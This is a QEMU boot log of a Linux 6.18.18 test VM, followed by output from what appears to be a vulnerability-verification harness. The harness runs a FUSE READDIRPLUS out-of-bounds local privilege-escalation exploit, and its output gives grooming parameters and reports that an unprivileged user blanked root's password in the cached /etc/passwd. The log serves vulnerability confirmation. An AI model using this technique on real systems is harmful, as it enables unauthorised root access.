c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+2EFC8B80+2EF08B80 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM... c[?7l[ 0.000000] Linux version 6.18.18 (vscode@e35a0ac465dd) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 18:04:13 UTC 2026 [ 0.000000] Command line: console=ttyS0 root=/dev/vda ro init=/init panic=1 proof_role=vuln [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000002ffdcfff] usable [ 0.000000] BIOS-e820: [mem 0x000000002ffdd000-0x000000002fffffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved [ 0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] reserved [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] APIC: Static calls initialized [ 0.000000] SMBIOS 2.8 present. [ 0.000000] DMI: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 0.000000] DMI: Memory slots populated: 1/1 [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.000000] tsc: Detected 3000.105 MHz processor [ 0.006082] last_pfn = 0x2ffdd max_arch_pfn = 0x400000000 [ 0.006556] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs [ 0.006677] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT [ 0.016813] found SMP MP-table at [mem 0x000f5450-0x000f545f] [ 0.021012] ACPI: Early table checksum verification disabled [ 0.021321] ACPI: RSDP 0x00000000000F5270 000014 (v00 BOCHS ) [ 0.021505] ACPI: RSDT 0x000000002FFE233B 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.021991] ACPI: FACP 0x000000002FFE21EF 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.022482] ACPI: DSDT 0x000000002FFE0040 0021AF (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.022535] ACPI: FACS 0x000000002FFE0000 000040 [ 0.022566] ACPI: APIC 0x000000002FFE2263 000078 (v03 BOCHS BXPC 00000001 BXPC 00000001) [ 0.022577] ACPI: HPET 0x000000002FFE22DB 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.022586] ACPI: WAET 0x000000002FFE2313 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.022639] ACPI: Reserving FACP table memory at [mem 0x2ffe21ef-0x2ffe2262] [ 0.022659] ACPI: Reserving DSDT table memory at [mem 0x2ffe0040-0x2ffe21ee] [ 0.022663] ACPI: Reserving FACS table memory at [mem 0x2ffe0000-0x2ffe003f] [ 0.022666] ACPI: Reserving APIC table memory at [mem 0x2ffe2263-0x2ffe22da] [ 0.022669] ACPI: Reserving HPET table memory at [mem 0x2ffe22db-0x2ffe2312] [ 0.022671] ACPI: Reserving WAET table memory at [mem 0x2ffe2313-0x2ffe233a] [ 0.024262] No NUMA configuration found [ 0.024279] Faking a node at [mem 0x0000000000000000-0x000000002ffdcfff] [ 0.024683] NODE_DATA(0) allocated [mem 0x2ffd9900-0x2ffdcfff] [ 0.026066] Zone ranges: [ 0.026088] DMA [mem 0x0000000000001000-0x0000000000ffffff] [ 0.026141] DMA32 [mem 0x0000000001000000-0x000000002ffdcfff] [ 0.026146] Normal empty [ 0.026157] Movable zone start for each node [ 0.026174] Early memory node ranges [ 0.026193] node 0: [mem 0x0000000000001000-0x000000000009efff] [ 0.026296] node 0: [mem 0x0000000000100000-0x000000002ffdcfff] [ 0.026379] Initmem setup node 0 [mem 0x0000000000001000-0x000000002ffdcfff] [ 0.027152] On node 0, zone DMA: 1 pages in unavailable ranges [ 0.027393] On node 0, zone DMA: 97 pages in unavailable ranges [ 0.035959] On node 0, zone DMA32: 35 pages in unavailable ranges [ 0.036300] ACPI: PM-Timer IO Port: 0x608 [ 0.036573] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) [ 0.036845] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23 [ 0.036946] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 0.037146] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) [ 0.037176] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 0.037235] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) [ 0.037239] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) [ 0.037356] ACPI: Using ACPI (MADT) for SMP configuration information [ 0.037382] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 0.037618] CPU topo: Max. logical packages: 1 [ 0.037625] CPU topo: Max. logical dies: 1 [ 0.037630] CPU topo: Max. dies per package: 1 [ 0.037667] CPU topo: Max. threads per core: 1 [ 0.037763] CPU topo: Num. cores per package: 1 [ 0.037772] CPU topo: Num. threads per package: 1 [ 0.037777] CPU topo: Allowing 1 present CPUs plus 0 hotplug CPUs [ 0.038383] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] [ 0.038403] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff] [ 0.038470] [mem 0x30000000-0xfffbffff] available for PCI devices [ 0.038501] Booting paravirtualized kernel on bare hardware [ 0.038702] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns [ 0.046701] setup_percpu: NR_CPUS:64 nr_cpumask_bits:1 nr_cpu_ids:1 nr_node_ids:1 [ 0.048312] percpu: Embedded 52 pages/cpu s172824 r8192 d31976 u2097152 [ 0.049618] Kernel command line: console=ttyS0 root=/dev/vda ro init=/init panic=1 proof_role=vuln [ 0.050472] Unknown kernel command line parameters "proof_role=vuln", will be passed to user space. [ 0.050621] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes [ 0.050906] Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes, linear) [ 0.051039] Inode-cache hash table entries: 65536 (order: 7, 524288 bytes, linear) [ 0.053329] Fallback order for Node 0: 0 [ 0.053519] Built 1 zonelists, mobility grouping on. Total pages: 196475 [ 0.053529] Policy zone: DMA32 [ 0.053681] mem auto-init: stack:all(zero), heap alloc:off, heap free:off [ 0.059834] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1 [ 0.069010] Dynamic Preempt: voluntary [ 0.093384] rcu: Preemptible hierarchical RCU implementation. [ 0.093411] rcu: RCU event tracing is enabled. [ 0.093427] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=1. [ 0.093523] Trampoline variant of Tasks RCU enabled. [ 0.093529] Tracing variant of Tasks RCU enabled. [ 0.093602] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. [ 0.093624] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=1 [ 0.094478] RCU Tasks: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1. [ 0.094495] RCU Tasks Trace: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1. [ 0.109050] NR_IRQS: 4352, nr_irqs: 256, preallocated irqs: 16 [ 0.115771] rcu: srcu_init: Setting srcu_struct sizes based on contention. [ 0.120496] Console: colour VGA+ 80x25 [ 0.121890] printk: legacy console [ttyS0] enabled [ 0.135466] ACPI: Core revision 20250807 [ 0.139597] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns [ 0.141406] APIC: Switch to symmetric I/O mode setup [ 0.146796] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 0.152080] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2b3ea8398bd, max_idle_ns: 440795218084 ns [ 0.152565] Calibrating delay loop (skipped), value calculated using timer frequency.. 6000.21 BogoMIPS (lpj=3000105) [ 0.155644] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 [ 0.155792] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 [ 0.156087] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto [ 0.156602] Spectre V2 : Mitigation: Retpolines [ 0.156833] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization [ 0.157060] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT [ 0.157977] x86/fpu: x87 FPU will use FXSAVE [ 0.387305] Freeing SMP alternatives memory: 52K [ 0.387949] pid_max: default: 32768 minimum: 301 [ 0.394605] LSM: initializing lsm=capability,selinux [ 0.396061] SELinux: Initializing. [ 0.399850] Mount-cache hash table entries: 2048 (order: 2, 16384 bytes, linear) [ 0.400072] Mountpoint-cache hash table entries: 2048 (order: 2, 16384 bytes, linear) [ 0.525382] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1) [ 0.532785] Performance Events: PMU not available due to virtualization, using software events only. [ 0.533680] signal: max sigframe size: 1440 [ 0.534663] rcu: Hierarchical SRCU implementation. [ 0.534791] rcu: Max phase no-delay instances is 400. [ 0.537717] smp: Bringing up secondary CPUs ... [ 0.539036] smp: Brought up 1 node, 1 CPU [ 0.539189] smpboot: Total of 1 processors activated (6000.21 BogoMIPS) [ 0.546154] Memory: 726724K/785900K available (18959K kernel code, 2901K rwdata, 7444K rodata, 2816K init, 952K bss, 55704K reserved, 0K cma-reserved) [ 0.552227] devtmpfs: initialized [ 0.560002] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns [ 0.560471] posixtimers hash table entries: 512 (order: 1, 8192 bytes, linear) [ 0.560810] futex hash table entries: 256 (16384 bytes on 1 NUMA nodes, total 16 KiB, linear). [ 0.563768] PM: RTC time: 18:14:14, date: 2026-07-03 [ 0.567250] NET: Registered PF_NETLINK/PF_ROUTE protocol family [ 0.570014] audit: initializing netlink subsys (disabled) [ 0.571405] audit: type=2000 audit(1783102453.428:1): state=initialized audit_enabled=0 res=1 [ 0.574889] thermal_sys: Registered thermal governor 'step_wise' [ 0.575166] cpuidle: using governor menu [ 0.577961] PCI: Using configuration type 1 for base access [ 0.579813] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. [ 0.582954] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages [ 0.583121] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page [ 0.591080] ACPI: Added _OSI(Module Device) [ 0.591194] ACPI: Added _OSI(Processor Device) [ 0.591278] ACPI: Added _OSI(Processor Aggregator Device) [ 0.622566] ACPI: 1 ACPI AML tables successfully acquired and loaded [ 0.650625] ACPI: Interpreter enabled [ 0.657663] ACPI: PM: (supports S0 S3 S4 S5) [ 0.657865] ACPI: Using IOAPIC for interrupt routing [ 0.658281] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 0.658416] PCI: Using E820 reservations for host bridge windows [ 0.660857] ACPI: Enabled 2 GPEs in block 00 to 0F [ 0.715521] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 0.720535] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3] [ 0.720799] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI] [ 0.722672] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge [ 0.729277] PCI host bridge to bus 0000:00 [ 0.729585] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] [ 0.729796] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] [ 0.730224] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] [ 0.730401] pci_bus 0000:00: root bus resource [mem 0x30000000-0xfebfffff window] [ 0.730578] pci_bus 0000:00: root bus resource [mem 0x100000000-0x17fffffff window] [ 0.731501] pci_bus 0000:00: root bus resource [bus 00-ff] [ 0.732572] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint [ 0.740642] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint [ 0.741355] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint [ 0.741960] pci 0000:00:01.1: BAR 4 [io 0xc0c0-0xc0cf] [ 0.742192] pci 0000:00:01.1: BAR 0 [io 0x01f0-0x01f7]: legacy IDE quirk [ 0.742351] pci 0000:00:01.1: BAR 1 [io 0x03f6]: legacy IDE quirk [ 0.742530] pci 0000:00:01.1: BAR 2 [io 0x0170-0x0177]: legacy IDE quirk [ 0.742662] pci 0000:00:01.1: BAR 3 [io 0x0376]: legacy IDE quirk [ 0.748082] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint [ 0.748608] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI [ 0.748835] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB [ 0.749781] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint [ 0.750629] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref] [ 0.750819] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff] [ 0.751038] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref] [ 0.755107] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] [ 0.755805] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint [ 0.756604] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff] [ 0.756893] pci 0000:00:03.0: BAR 1 [io 0xc080-0xc0bf] [ 0.757032] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref] [ 0.767783] pci 0000:00:04.0: [1af4:1001] type 00 class 0x010000 conventional PCI endpoint [ 0.768404] pci 0000:00:04.0: BAR 0 [io 0xc000-0xc07f] [ 0.768538] pci 0000:00:04.0: BAR 1 [mem 0xfebb1000-0xfebb1fff] [ 0.768692] pci 0000:00:04.0: BAR 4 [mem 0xfe000000-0xfe003fff 64bit pref] [ 0.782513] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 [ 0.783166] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 [ 0.787807] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 [ 0.788300] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 [ 0.788580] ACPI: PCI: Interrupt link LNKS configured for IRQ 9 [ 0.795709] iommu: Default domain type: Translated [ 0.795836] iommu: DMA domain TLB invalidation policy: lazy mode [ 0.797042] SCSI subsystem initialized [ 0.801951] ACPI: bus type USB registered [ 0.802558] usbcore: registered new interface driver usbfs [ 0.802876] usbcore: registered new interface driver hub [ 0.803053] usbcore: registered new device driver usb [ 0.803549] pps_core: LinuxPPS API ver. 1 registered [ 0.803664] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti [ 0.803857] PTP clock support registered [ 0.808619] Advanced Linux Sound Architecture Driver Initialized. [ 0.820325] NetLabel: Initializing [ 0.820408] NetLabel: domain hash size = 128 [ 0.820503] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO [ 0.824295] NetLabel: unlabeled traffic allowed by default [ 0.833019] PCI: Using ACPI for IRQ routing [ 0.834979] pci 0000:00:02.0: vgaarb: setting as boot VGA device [ 0.835157] pci 0000:00:02.0: vgaarb: bridge control possible [ 0.835360] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none [ 0.835418] vgaarb: loaded [ 0.840866] hpet: 3 channels of 0 reserved for per-cpu timers [ 0.841163] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 [ 0.841404] hpet0: 3 comparators, 64-bit 100.000000 MHz counter [ 0.849260] clocksource: Switched to clocksource tsc-early [ 0.850680] VFS: Disk quotas dquot_6.6.0 [ 0.850845] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) [ 0.853114] pnp: PnP ACPI init [ 0.863013] pnp: PnP ACPI: found 6 devices [ 0.894374] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns [ 0.898048] NET: Registered PF_INET protocol family [ 0.901995] IP idents hash table entries: 16384 (order: 5, 131072 bytes, linear) [ 0.910162] tcp_listen_portaddr_hash hash table entries: 512 (order: 1, 8192 bytes, linear) [ 0.910507] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear) [ 0.914023] TCP established hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 0.914551] TCP bind hash table entries: 8192 (order: 6, 262144 bytes, linear) [ 0.914902] TCP: Hash tables configured (established 8192 bind 8192) [ 0.915668] UDP hash table entries: 512 (order: 3, 32768 bytes, linear) [ 0.915944] UDP-Lite hash table entries: 512 (order: 3, 32768 bytes, linear) [ 0.917053] NET: Registered PF_UNIX/PF_LOCAL protocol family [ 0.923516] RPC: Registered named UNIX socket transport module. [ 0.923677] RPC: Registered udp transport module. [ 0.923849] RPC: Registered tcp transport module. [ 0.923948] RPC: Registered tcp-with-tls transport module. [ 0.924051] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 0.930633] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] [ 0.930782] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] [ 0.930897] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] [ 0.931023] pci_bus 0000:00: resource 7 [mem 0x30000000-0xfebfffff window] [ 0.931358] pci_bus 0000:00: resource 8 [mem 0x100000000-0x17fffffff window] [ 0.931887] pci 0000:00:01.0: PIIX3: Enabling Passive Release [ 0.932052] pci 0000:00:00.0: Limiting direct PCI/PCI transfers [ 0.932658] PCI: CLS 0 bytes, default 64 [ 1.103989] Initialise system trusted keyrings [ 1.106601] workingset: timestamp_bits=56 max_order=18 bucket_order=0 [ 1.109563] NFS: Registering the id_resolver key type [ 1.109929] Key type id_resolver registered [ 1.110032] Key type id_legacy registered [ 1.110819] 9p: Installing v9fs 9p2000 file system support [ 1.150116] Key type asymmetric registered [ 1.150657] Asymmetric key parser 'x509' registered [ 1.150964] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 1.151409] io scheduler mq-deadline registered [ 1.151988] io scheduler kyber registered [ 1.154077] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0 [ 1.157426] ACPI: button: Power Button [PWRF] [ 1.167998] ACPI: \_SB_.LNKD: Enabled at IRQ 11 [ 1.171014] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 1.174303] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A [ 1.178722] Non-volatile memory driver v1.3 [ 1.178850] Linux agpgart interface v0.103 [ 1.179956] ACPI: bus type drm_connector registered [ 1.192479] loop: module loaded [ 1.193225] virtio_blk virtio0: 1/0/0 default/read/poll queues [ 1.199946] virtio_blk virtio0: [vda] 65536 512-byte logical blocks (33.6 MB/32.0 MiB) [ 1.216519] scsi host0: ata_piix [ 1.217703] scsi host1: ata_piix [ 1.218068] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc0c0 irq 14 lpm-pol 0 [ 1.218432] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc0c8 irq 15 lpm-pol 0 [ 1.222869] e100: Intel(R) PRO/100 Network Driver [ 1.222982] e100: Copyright(c) 1999-2006 Intel Corporation [ 1.223337] e1000: Intel(R) PRO/1000 Network Driver [ 1.223474] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 1.228236] ACPI: \_SB_.LNKC: Enabled at IRQ 10 [ 1.379539] ata2: found unknown device (class 0) [ 1.383141] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 1.397031] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 1.421497] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 1.421839] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 1.439562] sr 1:0:0:0: Attached scsi generic sg0 type 5 [ 1.537923] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56 [ 1.538475] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection [ 1.539045] e1000e: Intel(R) PRO/1000 Network Driver [ 1.539147] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 1.539516] sky2: driver version 1.30 [ 1.541068] usbcore: registered new interface driver usblp [ 1.541515] usbcore: registered new interface driver usb-storage [ 1.542118] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 1.544774] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 1.545011] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 1.546880] rtc_cmos 00:05: RTC can wake from S4 [ 1.550316] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 [ 1.552931] rtc_cmos 00:05: registered as rtc0 [ 1.555538] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 1.558443] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 1.558848] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 1.559132] hid: raw HID events driver (C) Jiri Kosina [ 1.560577] usbcore: registered new interface driver usbhid [ 1.560710] usbhid: USB HID core driver [ 1.565730] Initializing XFRM netlink socket [ 1.566045] NET: Registered PF_INET6 protocol family [ 1.573489] Segment Routing with IPv6 [ 1.573748] In-situ OAM (IOAM) with IPv6 [ 1.574390] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 1.576509] NET: Registered PF_PACKET protocol family [ 1.577601] 9pnet: Installing 9P2000 support [ 1.577894] Key type dns_resolver registered [ 1.579440] IPI shorthand broadcast: enabled [ 1.597637] sched_clock: Marking stable (1571088904, 26138966)->(1599796956, -2569086) [ 1.599401] registered taskstats version 1 [ 1.599565] Loading compiled-in X.509 certificates [ 1.607993] Demotion targets for Node 0: null [ 1.610299] PM: Magic number: 2:309:240 [ 1.610654] netconsole: network logging started [ 1.611514] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 1.617661] kworker/u4:0 (51) used greatest stack depth: 15032 bytes left [ 1.624725] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 1.625415] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 1.627043] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 1.627799] ALSA device list: [ 1.628028] No soundcards found. [ 1.629389] cfg80211: failed to load regulatory.db [ 1.633505] check access for rdinit=/init failed: -2, ignoring [ 1.967745] tsc: Refined TSC clocksource calibration: 3000.109 MHz [ 1.968349] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x2b3eac557be, max_idle_ns: 440795237233 ns [ 1.969733] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 1.970295] clocksource: Switched to clocksource tsc [ 1.971677] md: Waiting for all devices to be available before autodetect [ 1.971821] md: If you don't use raid, use raid=noautodetect [ 1.971956] md: Autodetecting RAID arrays. [ 1.972049] md: autorun ... [ 1.972112] md: ... autorun DONE. [ 2.024497] EXT4-fs (vda): orphan cleanup on readonly fs [ 2.025180] EXT4-fs (vda): mounted filesystem 8bafa08f-6d15-4044-8509-836231f850e9 ro with ordered data mode. Quota mode: none. [ 2.025905] VFS: Mounted root (ext4 filesystem) readonly on device 253:0. [ 2.027333] devtmpfs: mounted [ 2.064154] Freeing unused kernel image (initmem) memory: 2816K [ 2.065145] Write protecting the kernel read-only data: 28672k [ 2.066756] Freeing unused kernel image (text/rodata gap) memory: 1520K [ 2.067294] Freeing unused kernel image (rodata/data gap) memory: 748K [ 2.178079] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 2.179019] Run /init as init process [ 2.243812] busybox (56) used greatest stack depth: 13736 bytes left mount: mounting devtmpfs on /dev failed: Device or resource busy [ 2.295588] fuse: init (API version 7.45) [ 2.297782] busybox (62) used greatest stack depth: 13544 bytes left VARIANT_ROLE=vuln VARIANT_KERNEL=6.18.18 VARIANT_BEFORE=root:x:0:0:root:/root:/bin/sh [drain] MemFree=699MB -> drain=69 blocks (69MB) === FUSE READDIRPLUS readdir-cache OOB - variant LPE === === drain 69MB + pool 128 === [+] FUSE at /tmp/fuse_oob_69iAi4 (mounted by privileged harness, READDIRPLUS forced) [+] Dropping to uid/gid 1000 before attacker-controlled READDIR and target corruption [+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd [+] Direct write check as uid 1000: Read-only file system [+] target passwd backed up (71 bytes) [fuse] INIT: advertising FUSE_DO_READDIRPLUS for variant path --- Warmup --- [*] W1/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming [fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120 HIT (1) [*] W2/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming [fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120 miss [*] W3/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming [fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120 HIT (2) [*] W4/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming [fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120 HIT (3) [*] W5/5 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming [fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120 miss [+] Warmup: 3/5 (60%) --- LPE --- [+] before: root:x:0:0:root:/root:/bin/sh [*] LPE 1/200 ... [fuse] received FUSE_READDIRPLUS offset=0; holding reply for grooming [fuse] replying to FUSE_READDIRPLUS with namelen=4095 plus_reclen=4248 embedded_dirent_reclen=4120 [+] CORRUPTED /etc/passwd first_line=root::0:0:x:.: HIT! [+] Page cache corrupted ======================================== [+] PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd [+] target first line after overflow: root::0:0:x:.: [+] An unprivileged process changed the cached contents of a root-owned passwd file without write permission. ======================================== [ 3.082804] fuse_readdirplu (65) used greatest stack depth: 12952 bytes left VARIANT_EXPLOIT_RC=0 VARIANT_AFTER=root::0:0:x:.: VARIANT_RESULT_READDIRPLUS_LPE_CONFIRMED [ 3.104927] ACPI: PM: Preparing to enter system sleep state S5 [ 3.105738] reboot: Power down